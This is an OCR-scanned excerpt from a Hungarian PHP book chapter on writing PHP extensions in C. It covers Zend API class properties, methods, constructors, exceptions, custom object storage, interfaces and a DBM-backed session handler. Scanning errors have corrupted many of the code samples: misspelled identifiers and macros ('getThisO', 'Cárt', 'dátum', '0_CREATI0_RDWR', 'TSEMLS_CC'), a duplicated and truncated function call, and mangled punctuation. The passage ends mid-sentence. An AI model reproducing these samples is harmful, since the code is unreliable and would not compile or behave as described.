596 PHP fejlesztés felsőfokon

Tulajdonságok hozzáadása
A PHP osztályok példánytulajdonságai lehetnek dinamikus tulajdonságok (ezek kizárólag
az adott példányhoz tartoznak), vagy alapértelmezett tulajdonságok (ez esetben az osz-
tályhoz tartoznak). Utóbbiak nem statikus tulajdonságok - minden példány rendelkezik
egy-egy másolattal belőlük. A dinamikus példánytulajdonságok meghatározása ugyanak-
kor nem szerepel az osztály meghatározásában - ezeket akkor hozzák létre, amikor az
objektum már létrejött.

A dinamikus példányváltozókat többnyire az osztály konstruktorában határozzák meg, va-


lahogy így:

class example {
public function _____ constructor()
{
$this->instanceProp = ' d e fa u l t ' ;
}
}

A PHP 5 lehetővé teszi ugyan az ehhez hasonló példányváltozók dinamikus létrehozását,


de ennek oka leginkább csak a visszamenőleges megfelelőség a 4-es változattal. A dina-
mikus példánytulajdonságokkal ugyanis van két komoly gond:

• Mivel nem részei az osztály bejegyzésének, nem örökölhetők.


• Mivel nem részei az osztály bejegyzésének, nem láthatók a visszatekintő (reflection)
API-n keresztül.

A PHP 5-ben ajánlatos a változókat az osztály meghatározásban megadni:

class example {
public $instanceProp = 'd efa ul t ';
}

A PHP 4-ben szokás volt az összes bővítményi osztálytulajdonságot dinamikus példánytu-


lajdonságként meghatározni, rendszerint az osztálykonstruktorban. A PHP 5-ben a bővít-
mény osztályai jobban hasonlítanak az egyszerű PHP osztályokhoz (legalábbis a nyilvá-
nos felületük). Ez azt jelenti, hogy létrehozhatunk egy HasProperties bővítményi osz-
tályt, az alábbiak szerint:

class HasProperties {
public $public_property = ' d e fa u l t ' ;
public $unitialized_property;
protected $protected_property;
priváté $private_property;
}
22. fejezet • A PHP bővítése: II. rész 597

Túl ezen, osztályunk hagyományos PHP osztályként viselkedik akkor is, amikor öröklés-
ről vagy PPP-ről van szó. Mindehhez persze szükség van néhány segédfüggvény hathatós
közreműködésére:

zend_declare_property(zend_class_entry *ce, char *name, int name__length,


zval *property, int access_type TSRMLS_DC) ;
zend_declare_property_null (zend_class_entry *ce, char *name, int name_length,
int access_type TSRMLS_DC) ;
zend_declare_property_long(zend_class_entry *ce, char *name, int name_length,
long value, int access_type TSRMLS_DC) ;
zend_declare_property_string(zend_class_entry *ce, char *name, int name_length,
char *value, int access_type TSRMLS_DC) ;

A ce azt az osztályt jelöli, amelyben a tulajdonságot el szeretnénk helyezni. A name a tu-


lajdonság nevét takarja, a név karakterláncának hossza pedig a name_length értéke. Vé-
gül, az access_type egy jelző, amely a tulajdonság elérési jellemzőit adja meg. Az aláb-
biak e jelző beállítási maszkjának bitjei:

mask
ZEND_ACC_STATIC
ZEND_ACC_ABSTRACT
ZEND_ACC_FINAL
ZEND_ACC_INTERFACE
ZEND_ACC_PUBLIC
ZEND_ACC_PROTECTED
ZEND_ACC_PRIVATE

A tulajdonságmeghatározási függvényt rögtön az osztály bejegyzése után kell használ-


nunk. Az alábbiakban bemutatjuk a HasProperties C megvalósítását:

Megjegyzés
A tisztább kód kedvéért az osztály bejegyzését egy segédfüggvényben különítettem el,
melyet a PHP_MINIT_FUNCTION () -bői hívunk meg. A jól kezelhető kód alapfeltétele
a tisztaság és az értelmes részekre osztás.

static zend_class_entry *has_props_ptr;

void register_HasProperties(TSRMLS_D)
{
zend_class_entry ce;
zval *tmp;
598 PHP fejlesztés felsőfokon

INIT_CLASS_ENTRY(ce, "HasProperties", NULL);


has_props_ptr = zend_register_internal_class(&ce TSRMLS_CC);

zend_declare_property_string(has_props_ptr,
"public_property", strlen("public_property"),
"default", ACC_PUBLIC);
zend_declare_property_null(has_props_ptr,

zend_declare_property_null(has_props_ptr, "uninitialized_property",
strlen("uninitialized_property"), ACC_PUBLIC) ;

zend_declare_property_null(has_props_ptr, "protected_property",
strlen("protected_property"), ACC_PROTECTED) ;

zend_declare_property_null(has_props_ptr, "private_property",
strlen("private_property"), ACC_PRIVATE);
}

PHP_MINIT_FUNCTION(example)
{
register_HasProperties(TSRMLS_CC);
}

Osztályöröklés
Ha egy osztályt egy másik örököseként szeretnénk bejegyeztetni, az alábbi függvényt kell
használnunk:
zend_class_entry *zend_register_internal_class_ex(zend_class_entry
*class_entry,
zend_class_entry *parent_ce,
char *parent_name TSRMLS_DC) ;

A class_entry a bejegyezni kívánt osztály. A másik osztály, amelyből öröklünk, meg-


adható egy mutatóval, ami a hozzá tartozó zend_class_entry szerkezetre mutat
(parent_cé), vagy egyszerűen a nevével (parent_name). Így ha például egy Examp-
leException nevű osztályt szeretnénk létrehozni az Exception bővítményeként, az
alábbiakat írhatjuk:
static zend_class_entry *example_exception_ptr;

void register_ExampleException(TSRMLS_DC)
í
zend_class_entry *ee_ce;
zend_class_entry *exception_ce = zend_exception_get_default() ;
INIT_CLASS_ENTRY(ee_ce, "ExampleException", NULL);
example_exception_ptr =
zend_register_internal_class_ex(ee_ce, exception_ce, NULL TSRMLS_CC) ;
}
22. fejezet • A PHP bővítése: II. rész 599

PHP_MINIT_FUNCTION(example)
{
register_ExampleException(TSEMLS_CC);
}

Példánk kódja csaknem megegyezik a korábban az osztálybejegyzésnél látottakkal


(Új osztály létrehozása) - egyetlen lényeges különbséggel. Most egy, az Exception
osztály zend_class_entry szerkezetére hivatkozó mutatót adunk át (melyet
a zend_exception_get_def ault () segítségével kaptunk meg) a zend_regis-
ter_internal_class_ex () második paramétereként. Mivel ismerjük az osztály
bejegyzését, nincs szükség a parent__name átadására.

Privát tulajdonságok
Az osztályok privát tulajdonságainak meghatározása kissé fura ügy, még ha ez ebben
a pillanatban nem is látszik. E tulajdonságok nem érhetők el az osztályon kívülről, illetve
a származtatott osztályokban, vagyis valóban belső használatra készültek. Ezért több értel-
me lenne itt C struktúrákat vagy saját típusokat használni. Hamarosan látjuk, miként adó-
dik erre mód.

Tagfüggvények hozzáadása
A tulajdonságok létrehozása után következő teendőnk a tagfüggvények létrehozása.
A PHP programozásában nyert tapasztalataink szerint a tagfüggvények csak kicsit többek
a függvényeknél. Ez a „kicsit több" azt jelenti, hogy hívási környezetük az osztályuk, to-
vábbá (amennyiben nem statikus tagfüggvényekről van szó) megkapják az éppen aktuális
objektumot. A bővítmények esetében az alapelvek ugyanezek. A bővítményi osztályok
tagfüggvényei belsőleg a zend_function típusban jelennek meg, meghatározásukra pe-
dig a ZEND_METHOD () makró ad lehetőséget.

A hívó objektumhoz ($this) a getThis () függvénnyel juthatunk hozzá, amely egy


zval mutatót ad vissza az objektum leírójához.

A tulajdonságok belső elérésében a Zend API az alábbi elérőfüggvénnyel segíti munkánkat:

zval *zend_read_property(zend_class_entry *scope, zval *object, char *name,


int name_length, zend_bool sílent TSRMLS_DC);

Ez a függvény megkeresi a name nevű tulajdonságot a scope osztály object objektumá-


ban, és a megfelelő zval értékkel tér vissza. A silent segítségével beállíthatjuk, hogy
szeretnénk-e figyelmeztető jelzést kapni, ha nem létezik a keresett tulajdonság.
600 PHP fejlesztés felsőfokon

A függvény használatának megszokott módja a következő:


zval *data, *obj ;
obj = getThis();
data = zend_read_property(Z_OBJCE_P(obj), obj, "property",
strlen("property"), 1 TSRMLS_CC);

A tulajdonság hasítótáblájának elérésére a Z_OBJPROP_P (obj ) vizsgálatával közvet-


lenül is van lehetőségünk, de erre igen ritkán van szükség. A zend_read_proper-
ties () kiválóan kezeli az örökölt, a privát és a védett tulajdonságokat, valamint a saját
elérőfüggvényeket.

Hasonlóképpen, az objektum hasítótábláját sem érdemes közvetlenül frissítenünk, hiszen


használhatjuk a zend_update_property () függvények egyikét. A legegyszerűbb frissí-
tési függvény a következő:
void zend_update_property(zend_class_entry *scope, zval *object, char *name,
int name_length, zval *value TSRMLS_DC);

Ez a scope osztály object objektuma name nevű tulajdonságának a value értéket adja.
A tömbökhöz hasonlóan itt is léteznek kényelmi függvények, melyek segítségével a tulaj-
donságok értékeit C alaptípusokkal adhatjuk meg. Lássuk, melyek ezek a függvények:
void zend_update_property_null(zend_class_entry *scope, zval *object,
char *name, int name_length TSRMLS_DC) ;
void zend_update_property_long(zend_class_entry *scope, zval *object,
char *name, int name_length,
long value TSRMLS_DC);
void zend_update_property_string(zend_class_entry *scope, zval *object,
char *name, int name_length,
char *value TSRMLS_DC);
A függvények működése megegyezik a korábban bemutatott zend_declare_property ()
függvényekével.

A tulajdonságok használatának gyakorlati bemutatására nézzük az alábbi PHP kódot, me-


lyet a PHP kézikönyvének klasszikus objektumközpontú programozási példájából vettünk:
class Cárt {
public $items;

function num_items()
{
return count($this->items);
}
}
22. fejezet • A PHP bővítése: II. rész 601

Feltéve, hogy a Cárt osztályt már meghatároztuk a bővítményben, a num_items () tag-


függvény így írható fel:

PHP_FUNCTION(cart_numitems)
{
zval *object;
zval *items;
HashTable *items_ht;

object = getThisO;
items = zend_read_property(Z_OBJCE_P(object), object, "items",
strlen("items"), 1 TSRMLS_CC),

if(items) {
if(items_ht = HASH_OF(items)) {
RETURN_LONG(zend_hash_num_elements(items_ht));
}
}
RETURN_FALSE;
}

Ahhoz, hogy ezt bejegyezzük az osztályunkban, elkészítjük a cart_methods tagfügg-


vénytáblát, és a Cárt előkészítésénél átadjuk az INIT_CLASS_ENTRY () -nek:

static zend_class_entry *cart_ce_ptr;

static zend_function_entry cart_methodst] = {


ZEND_ME(cart, numitems, NULL, ZEND_ACC_PUBLIC)

{NULL, NULL, NULL}


};

void register_cart()
{
zend_class_entry ce;
INIT_CLASS_ENTRY(ce, " C á r t " , cart_methods);
cart_ce_ptr = zend_register_internal_class(*ce TSRMLS_CC);
zend_declare_property_null(has_props_ptr, "items",
strlen("items"), ACC_PUBLIC);
}

PHP_MINIT_FUNCTION(cárt)
{
register_cart();
}
602 PHP fejlesztés felsőfokon

Figyeljük meg, hogy a zend_function_entry tömb kissé eltér a megszokottól. Most


a PHP_FE(cart_numitems, NULL) helyett a ZEND_ME (cárt, numitems, NULL,
ZEND_ACC_PUBLIC) áll. Ez lehetővé teszi, hogy a ZEND_METHOD(cart, numitems) ál-
tal meghatározott függvényt a cárt osztály numitems nyilvános tagfüggvényeként jegyez-
zük be. Ezzel a módszerrel megoldódik a nevek kiegészítése, így elkerülhetjük a függvény-
nevek ütközését, miközben a tagfüggvények és osztályok nevei egyszerűek maradhatnak.

Konstruktőrök hozzáadása
A tagfüggvények elnevezésében különleges esetet jelent a konstruktőr, a destruktor és
a klón. A felhasználói PHP kódokhoz hasonlóan itt is a_____ construct,______destruct, il-
letve __ clone neveket kapják.

Ezen kívül e függvények semmiben nem tűnnek ki a többi közül. Az alábbi konstruktőr
lehetővé teszi, hogy egy objektumot adjunk át a Cárt osztálynak:

class Cárt {
public $items;

public function __ construct($item)


{
$this->items[] = $item;
}
/* ... */
}

A C-ben ez így fest:

ZEND_METHOD(cart, __ construct)
{
zval *object;
zval *items;
zval *item;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &item)
== FAILURE) {
return;
}
object = getThisO;
MAKE_STD_ZVAL(items);
array_init(items);
add_next_index_zval(items, item);
zend_declare_property(Z_OBJCE_P(object), object, "items",
strlen("items"),
items, ZEND_ACC_PUBLIC TSRMLS_CC);
}
22. fejezet • A PHP bővítése: II. rész 603

Új függvényünket a bejegyzéshez mindössze el kell helyeznünk a cart_methods tömbben:

static zend_function_entry cart_methods[] = {


ZEND_ME(cart, __ construct, NULL, ZEND_ACC_PUBLIC),
ZEND_ME(cart, numitems, NULL, ZEND_ACC_PUBLIC) ,

{NULL, NULL, NULL}


};
PHP_MINIT(cart)
{

Kivételek kiváltása
Ha jó hibakezelő rendszerre van szükségünk, bővítményeinknek is képessé kell válnia ki-
vételek kiváltására. Persze sokak számára ez nem ennyire egyértelmű, hiszen a PHP fej-
lesztők körében folyamatosan vitáznak azon, hogy érdemes-e a bővítményekben kivétele-
ket használni. Leggyakrabban az az ellenérvek alapja, hogy nem feltétlenül szerencsés
a fejlesztőket bizonyos kódolási módszerekre kényszeríteni. A legtöbb bővítmény saját
használatra készül. A kivételek nagyszerű segítséget adhatnak, így ha szeretjük őket
a PHP kódban használni, a bővítményekben se tartsuk vissza magunkat ettől.

Az Exception osztályból származó kivétel kiváltása igen egyszerű feladat. Legjobban ak-
kor járunk, ha az alábbi segédfüggvényt használjuk:

void zend_throw_exception(zend_class_entry *exception_ce,


char *message, long code TSRMLS_DC);

Alkalmazásánál meg kell adnunk egy osztályt (exception_cé), egy üzenetet (message)
és egy kódot {code). Az alábbiakban egy Exception objektumot váltunk ki kivételként:

zend_throw_exception(zend_exception_get_default() , "This is a test",


■■■ 1 TSRMLS_CC);

Létezik továbbá egy kényelmi függvény, amely lehetővé teszi az üzenet karakterláncának
formázását:

void zend_throw_exception_ex(zend_class_entry *exceptíon_ce,


long code TSRMLS_DC, char * formát, ...);
604 PHP fejlesztés felsőfokon

Figyeljük meg, hogy a code most az első helyen szerepel, míg a zend_throw__excep-
tion () message paramétere helyett a formát és meghatározatlan számú paraméter áll.
Az alábbi kódsorban egy kivételt váltunk ki, amely megadja a megfelelő fájl nevét és a hibás
sor számát a C forráskódban:

zend_throw_exception_ex(zend_exception_get_default(), 1,
"Exception at % s : % d " , ___ FILÉ__ ,____ LINE__ ) ;

Ha nem Exception típusú kivételt szeretnénk kiváltani, át kell írnunk az object_init_ex-


beli zend_class_entry mutatót saját osztályunkra.

Amennyiben olyan kivételt szeretnénk alkalmazni, ami nem az Exception osztályból


származik, magunknak kell létrehoznunk a megfelelő objektumot, és erre állítanunk az
EG (exc ept i on) -t.

Saját objektumok és privát változók


A korábbiakban említettük, hogy a privát példánytulajdonságokat butaság az objektum tu-
lajdonságtáblájában tárolni. Ezeket az adatokat ugyanis csak belsőleg használhatjuk fel,
a bővítmények „belseje" azonban C kód, így itt érdemesebb a C saját típusait alkalmaznunk.

A PHP 5-ben az általános objektumokat a zend_object típus jeleníti meg., tárolásuk pe-
dig egy globális objektumtárolóban történik. A getThis () hívásakor a rendszer megke-
resi az objektumtárban az objektumhoz tartozó zval-ban tárolt azonosítót. Ez az objek-
tumtár azonban nem csak zend_object típusokat tartalmazhat, hanem tetszőleges adat-
szerkezetet. Ez két okból is hasznos számunkra:

• Az erőforrások adatait (például egy adatbázis-kapcsolat leíróját) közvetlenül az ob-


jektumban tárolhatjuk anélkül, hogy külön erőforrást kellene létrehozni és fenntar-
tani számukra.
• A privát osztályváltozókat objektumunk mellett C struktúrákban tárolhatjuk.

Amennyiben saját objektumtípusokra vágyunk, szükségünk van egy saját create_object


függvényre is. Egy új objektum példányosításakor az alábbiak történnek:

1. A rendszer létrehoz egy nyers objektumot. Alapértelmezés szerint ez egy objektum


tárfoglalását és előkészítését jelenti, de saját create_object függvényünkkel bár-
milyen adatszerkezetet előkészíthetünk.
2. Új adatszerkezetünk bekerül az objektumtárba, és visszakapjuk az azonosítóját.
3. A rendszer meghívja az osztály konstruktorát.
22. fejezet • A PHP bővítése: II. rész 605

A létrehozó függvény prototípusa így fest:

zend_object_value (*create_object)(zend_class_entry *class_type


TSRMLS_DC);

E függvény kulcsfeladatai az alábbiak:

• Létre kell hoznia legalábbis egy zend_object szerkezetet.


• Le kell foglalnia és elő kell készítenie az objektum tulajdonságainak hasítótábláját.
• Raktároznia kell a létrehozott objektumszerkezetet az objektumtárban
a zend_object_store_put () segítségével.
• Be kell jegyeznie egy destruktort.
• Vissza kell adnia egy zend_object_value szerkezetet.

írjuk most át a 21. fejezetben megismert Spread modult úgy, hogy az erőforrások kezelése
helyett az objektumban tárolja a kapcsolatazonosítókat. A szokásos zend_object szer-
kezet helyett itt az alábbi adatszerkezetet használjuk:

typedef struct {
mailbox mbox;
zend_object zo;
} spread_object;

Amennyiben e szerkezetben memóriát foglalunk, vagy bármi olyasmit teszünk, ami után
rendet kell csinálni, szükségünk lesz egy destruktorra - nem is beszélve anól, hogy magu-
kat az objektumszerkezeteket is fel kell számolnunk. íme a lehető legegyszerűbb destruktor:

static void spread_objects_dtor(void *object,


zend_object_handle handlé TSRMLS_DC)
{
zend_objects_destroy_object(object, handlé TSRMLS_CC);
}

A zend_obj ects_destroy_object () magát a lefoglalt objektumot semmisíti meg.

Szükségünk van továbbá egy klónfüggvényre is, amely megadja, miként viselkedjen az
objektum a_____clone () tagfüggvény hívásakor. Az, hogy saját create_object kezelőt
készítünk, egyértelművé teszi, hogy objektumunk nem szabványos típusú, így a rendszer
megköveteli mindkét függvény megadását - a motor nem képes megállapítani, milyen
alapértelmezett viselkedést követhetne. Lássuk a Spread bővítmény klónfüggvényét:

static void spread_objects_clone(void *object,


void **object_clone TSRMLS_DC){
606 PHP fejlesztés felsőfokon

spread_object * intern = (spread_object *) object;


spread_object **intern_clone = (spread_object **) object_clone;

*intern_clone = emalloc(sizeof(spread_object));
(*intern_clone)->zo.ce = intern->zo.ce;
(*intern_clone)->zo.in_get = 0;
(*intern_clone)->zo.in_set = 0;
ALLOC_HASHTABLE((*intern_clone)->zo.properties);
(*intern_clőne)->mbox = intern->mbox;
}

Az object_clone a létrehozandó új objektum. Figyeljük meg, hogy ezzel alapjában vé-


ve mélymásolatot készítünk a kiónozott adatszerkezetről: másolatot készítünk a ce osz-
tálybejegyzés-mutatóról, és kikapcsoljuk az in_set-et és az in_get-et, jelezve, hogy
nem alkalmazunk felülírást az objektumban.

Szükségünk van még a create_object függvényre is. Ennek működése igencsak ha-
sonlít a clone függvényére - lefoglal egy új spread_object szerkezetet, és beállítja.
Az eredményként kapott objektum pedig bekerül az objektumtárba a destruktorral és
a klónkezelővel egyetemben.

íme saját objektumkészítőnk a Spread bővítményhez:

zend_obj ect_value spread_obj ect_create(zend_class_entry


*class_type TSRMLS_DC)
{
zend_object_value retval;
spread_object *intern;
zend_obj ect_handlers spread_obj ect_handlers;

memcpy(&spread_object_handlers,
zend_get_std_object_handlers(),
sizeof(zend_object_handlers));
intern = emalloc(sizeof(spread_object));
intern->zo.ce = class_type;
intern->zo.in_get = 0;
intern->zo.in_set = 0;

ALLOC_HASHTABLE(intern->zo.properties);
zend_hash_init(intern->zo.properties, 0, NULL, ZVAL_PTR_DTOR, 0);
retval.handlé = zend_objects_store_put(intern,
spread_objects_dtor,
spread_objects_clone);
retval.handlers = &spread_object_handlers;
return retval;
}
22. fejezet • A PHP bővítése: II. rész 607

Ezek után, az osztály bejegyzésénél ezt az új create_obj ect függvényt kell megadnunk:

static zend_class_entry *spread_ce_jptr;


static zend_function_entry spread_methods[] = {
{NULL, NULL, NULL}
};

void register_spread()
{
zend_class_entry ce;

INIT_CLASS_ENTRY(ce, "Spread", spread_methods);


ce.create_object = spread_object_create;
spread_ce_ptr = zend_register_internal_class(&ce TSRMLS_CC);
}

Ahhoz, hogy e nyers adatokhoz hozzájussunk, a zend_object_store_get_object ()


segítségével kiolvassuk a teljes objektumot az objektumtárból:

ZEND_METHOD(spread, disconnect)
{
spread_object *sp_obj;
mailbox mbox;

sp_obj = (spread_object *)
zend_object_store_get_object(getThis() TSRMLS_CC);
mbox = sp_obj->mbox;
sp_disconnect(mbox);
sp_obj->mbox = -1;
}

A zend_ob j ect_store_get_ob j ect () a tárolóban levő teljes objektumot visszaadja,


így hozzáférhetünk a szerkezet tartalmához. A Spread bővítmény további részének objek-
tumközpontú átírása jó gyakorlat lehet - ne felejtsük a tagfüggvényeket beilleszteni
a Spread_methods-ba.

Gyártófüggvények használata
A 2. fejezetben láthattuk, hogy a Gyár minta sok esetben hasznunkra válhat. Esetünkben
egy gyártófüggvény egyszerűen egy statikus osztálytagfüggvényt takar, ami egy új objek-
tumot ad vissza. íme egy gyártófüggvény, amely egy új Spread objektumot hoz létre:

PHP_FUNCTION(spread_factory)
{
spread_object * intern;
Z_TYPE_P(return_value) = IS_OBJECT;
object_init_ex(return_value, spread_ce_ptr);
608 PHP fejlesztés felsőfokon

return_value->refcount = 1;
return_value->is_ref = 1;
return;
}

Ezután az alábbi kódot alkalmazhatjuk...

$obj = spread_factory();

...ehelyett:

$obj = new Spread;

Osztálykonstruktorok elrejtése
Előfordulhat, hogy rá szeretnénk venni a felhasználókat a konstruktőr használatára, meg-
akadályozva a közvetlen példányosítást a new segítségével. A felhasználói PHP kódhoz
hasonlóan ezt a legegyszerűbben úgy oldhatjuk meg, ha bejegyzünk egy konstruktőrt és
privát tagfüggvénnyé alakítjuk. Ez lehetetlenné teszi a közvetlen példányosítást.

Felületek létrehozása és megvalósítása


Az osztályok utolsó, fejezetünkben tárgyalt lehetősége a felületek meghatározása és meg-
valósítása. Belsőleg a felületek alapjában véve olyan osztályok, melyeknek kizárólag el-
vont tagfüggvényeik vannak. Ezek létrehozásához az alábbi makrót használhatjuk:

ZEND_ABSTRACT_ME(class_name, method__name, argument_list);

A class_name és a method_name az osztály és a tagfüggvény nevét adja meg, az


argument_list pedig az alábbi makróblokkal meghatározott:

ZEND_BEGIN_ARG_INFO(argument_list, pass_by_ref)
ZEND_END_ARG_INFO()

Ez a blokk meghatározza a paraméterek listáját, valamint azt, hogy ezek átadása hivatko-
zás szerint történjék-e. A blokk belsejében a paraméterek rendezett listája jelenik meg, az
alábbi alakú elemekkel:

ZEND_ARG_INFO (pass__by_ref, name)


22. fejezet • A PHP bővítése: II. rész 609

Ahhoz tehát, hogy a következő PHP felület függvénybejegyzéseit elkészítsük...

interface Foo {
function bar($argl, $arg2);
function baz(&argl);
}

...mindkét paraméterlista meghatározására szükség lesz:

ZEND_BEGIN_ARG_INFO(bar_args, 0)
ZEND_ARG_INFO(0, argl)
ZEND_ARG_INFO(0, arg2 )
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(baz_args, 0)
ZEND_ARG_INFO(1, argl)
ZEND_END_ARG_INFO()

Ezután elkészítjük a Foo tagfüggvénytábláját:

ZEND_ABSTRACT_METHOD(foo, bar, bar_args)


ZEND_ABSTRACT_METHOD(foo, baz, baz_args)
{NULL, NULL, NULL}
};

Végül, a felület bejegyzéséhez alkalmazzuk a zend_register_internal_interf ace ()


függvényt:
static zend_class_entry *foo_interface;

PHP_MINIT_FUNCTION(example)
{
zend_class_entry ce;
INIT_CLASS_ENTRY(ce, "Foo", foo_functions)
foo_interface = zend_register_internal_interface(&ce TSRMLS_CC);
return SUCCESS;
}

Ezzel sikeresen bejegyeztük új Foo felületünket.

A felületek megvalósítása a bővítményi osztályokban még ennél is egyszerűbb. A Zend


API ugyanis rendelkezésünkre bocsát egy függvényt, mellyel meghatározhatunk minden,
az osztály által megvalósított felületet:
void zend_class_implements(zend_class_entry *class_entry TSRMLS_DC,
int num_interfaces, . . .) ;
610 PHP fejlesztés felsőfokon

A cJass_entry takarja a felületeket megvalósító osztályt, a num_interfaces a felüle-


tek száma, a paraméterlista végén pedig minden megvalósított felülethez egy mutatót ta-
lálhatunk a megfelelő zend_class_entry szerkezetre.

Saját munkamenet-kezelők készítése


A munkameneti API-ról a 14. fejezetben már szót ejtettünk, a felhasználói kódolás szem-
pontjából. A felhasználói kezelők bejegyzése mellett azonban lehetőségünk van arra is,
hogy munkamenet-kezelőinket C-ben készítsük el és közvetlenül jegyezzük be a munka-
meneti bővítményben.

A következőkben egy gyorstalpaló tanfolyam keretében megtanuljuk, miként készíthe-


tünk C alapú munkamenet-kezelőt, szabványos DBM fájlt alkalmazva háttértárolóként.

A munkameneti API meglehetősen egyszerű. Alapszinten mindössze egy munkameneti


modul szerkezet létrehozására van szükség (ez elviekben hasonló a zend_module_entry
szerkezethez). Először készítsünk egy szabványos bővítményi vázat és adjunk nevet bővít-
ményünknek (session_dbm). A munkameneti API horgait külön névtérbe helyezhetjük -
legyen ez az egyszerűség kedvéért a dbm.

A munkameneti API horgainak meghatározására a következő kód szolgál:


ttinclude "ext/session/php_session.h"
ps_module ps_mod_dbm = {
PS_MOD(dbm)
};

A PS_MOD () makró automatikusan bejegyez hat függvényt, melyeket meg kell valósítanunk:

• [PS_OPEN_FUNC(dbm) ] - Megnyitja a munkamenet háttértárolóját.


• [PS_CLOSE_FUNC (dbm) ] - Bezárja a munkamenet háttértárolóját.
• [PS_READ_FUNC(dbm)] - Olvas a munkamenet háttértárolójából.
• [PS_WRITE_FUNC(dbm) ] - ír a munkamenet háttértárolójába.
• [PS_DESTROY_FUNC (dbm) ] - Megsemmisíti az aktuális munkamenetet.
• [PS_GC_FONC (dbm) ] - Elvégzi a szemétgyűjtést.

E függvények működésének részleteiről, valamint használatuk idejéről a 14. fejezetben ol-


vashattunk, felhasználói megfelelőik kapcsán. A PS_OPEN_FUNC három paramétert ad át:

• void **mod_data - Általános adatmutató a visszatérési érték tárolására.


• char *save_path - A munkamenet adataihoz vezető fájlrendszerbeli útvonal tá-
rolója. Ha nem fájl alapú munkameneteket használunk, gondolhatunk erre úgy,
mint egy általános helymeghatározó mutatóra.
• char *session_name - A munkamenet neve.
22. fejezet • A PHP bővítése: II. rósz 611

A mod_data együtt mozog a munkamenettel, így nagyszerű helyet biztosít a kapcsolati


adatok tárolására. E bővítmény esetében itt a DBM fájl helyét és egy kapcsolati mutatót
kell tárolnunk, az alábbi szerkezetben:

typedef struct {
DBM *conn;
char *path;
} ps_dbm;

Lássuk a PS_OPEN_FUNC () függvényt, ami nem tesz mást, mint előkészíti a ps_dbm szer-
kezetet, és visszaadja a munkameneti bővítménynek a mod_dat a-ban:

PS_OPEN_FUNC(dbm)
{
ps_dbm *data;

data = emalloc(sizeof(ps_dbm));
memset(data, 0, sizeof(ps_dbm));
data->path = estrndup(save_path, strlen(save_path));
*mod_data = data;
return SUCCESS;
}

A PS_CLOSE_FUNC () egyetlen paramétert fogad:

void **mod_data;

Ez ugyanaz a mod_data, amely a kérelem folyamán már megvolt, így minden lényeges
munkameneti adatot tartalmaz. Az alábbiakban láthatjuk a PS_CLOSE () szerkezetét, amely
lezár minden nyitott DBM kapcsolatot, és felszabadítja a PS_OPEN () -ben lefoglalt memóriát:

PS_CLOSE_FUNC(dbm)
{
ps_dbm *data = PS_GET_MOD_DATA();

if(data->conn) {
dbm_close(data->conn);
data->conn = NULL;
}
if(data->path) {
efree(data->path);
data->path = NULL;
}
return SUCCESS;
}
612 PHP fejlesztés felsőfokon

A PS_READ_FUNC () négy paramétert fogad:

• void **mod_data - Az adatszerkezet, ami minden kezelőhöz eljut.


• const char *key - A munkamenet-azonosító.
• char **val - Egy hivatkozás szerint átadott kimeneti változó. A munkamenet
adatai ebben a karakterláncban jutnak vissza a hívóhoz.
• int *vallen - A val karakterlánc hossza.

Az alábbi kódrészletben a PS_READ_FUNC () megnyitja a DBM fájlt, ha ez korábban nem


történt meg, és kiolvassa a key által azonosított bejegyzést:

PS_READ_FUNC(dbm)
{
dátum dbm_key, dbm_value;

ps_dbm *data = PS_GET_MOD_DATA();


if(!data->conn) {
if((data->conn = dbm_open(data->path, 0_CREATI0_RDWR, 0640))
== NULL) {
return FAILURE;
}
}
dbm_key.dptr = (char *) key;
dbm_key.dsize = strlen(key);
dbm_value = dbm_fetch(data->conn, dbm_key);
if(!dbm_value.dptr) {
return FAILURE;
}
*val = estrndup(dbm_value.dptr, dbm_value.dsize) ;
*vallen = dbm_value.dsize ;
return SUCCESS;
}

A dátum a kulcs-érték párok tárolására szolgáló GDBM/NDBM típus. Figyeljük meg, hogy
az olvasó eljárásnak semmit sem kell tudnia arról, milyen adatok haladnak át rajta
- a munkameneti bővítmény maga gondoskodik a sorosításról.

A PS_WRITE_FUNC () ugyanazokat a paramétereket kapja meg, mint a PS_READ_FUNC ():

• void **mod_data - Az adatszerkezet, ami minden kezelőhöz eljut.


• const char *key - A munkamenet-azonosító.
• char **val - A tárolni kívánt adat, karakterlánc alakjában (a munkameneti bővít-
mény sorosító eljárásának eredménye).
• int *vallen - A val karakterlánc hossza.
22. fejezet • A PHP bővítése: II. rész 613

A PS_WRITE_FUNC () szerkezete csaknem megegyezik a PS_READ_FUNC () -éval - azzal


a különbséggel, hogy az olvasás helyett itt írás történik:

PS_WRITE_FUNC(dbm)
{
dátum dbm_key, dbm_value;

ps_dbm *data = PS_GET_MOD_DATA( ) ;


if(!data->conn) {
if((data->conn = dbm_open(data->path, 0_CREAT|0_RDWR, 0640))
== NULL) {
return FAILURE;
}
}
dbm_key.dptr = (char *)key;
dbm_key.dsize = strlen(key);
dbm_value.dptr = (char *)va l;
dbm_value.dsize = vallen;

if(dbm_store(data->conn, dbm_key, dbm_value, DBM_REPLACE) != 0) {


return FAILURE;
}
return SUCCESS;
}

A PS_DESTROY_FUNC () két paramétert fogad:

• void **mod_data - Az adatszerkezet, ami minden kezelőhöz eljut.


• const char *key - A megsemmisítendő munkamenet-azonosító.

Az alábbi függvény egyszerűen törli a megadott kulcsot a dbm_delete segítségével:

PS_DESTROY_FUNC(dbm)
{
dátum dbm_key;
ps_dbm *data = PS_GET_MOD_DATA();

if(!data->conn) {
if((data->conn = dbm_open(data->path, 0_CREATI0_RDWR, 0640))
== NULL) {
return FAILURE;
}
}
dbm_key.dptr = (char *)key;
dbm_key.dsize = strlen(key);
614 PHP fejlesztés felsőfokon

if(dbm_delete(data->conn, dbm_key)) {
return FAILURE;
}
return SUCCESS;
}

Végezetül, a PS_GC_FUNC () három paramétert fogad:

• void **mod_data - Az adatszerkezet, ami minden kezelőhöz eljut.


• int maxlif etime - A munkamenetek számára beállított legnagyobb élettartam.
• int *nrdels - Kimeneti változó, amely az elavult munkamenetek számát tar-
talmazza.

Amint a 10. fejezetben megtanulhattuk, a DBM fájlok elavulásának kezelése meglehetősen


összetett. A módosítási időt elhelyezhetjük a PS_READ_FUNC () és PS_WRITE_FUNC ()
által kezelt rekordokban. A megvalósítás jó gyakorlat lehet - most csak egy olyan szemét-
gyűjtő függvényt mutatunk be, amely mindig sikeres működést jelez:

PS_GC_FUNC(dbm)
{
return SUCCESS;
}

Ha bővítményünket valóban alkalmazhatóvá szeretnénk tenni, nemcsak a PHP-ben,


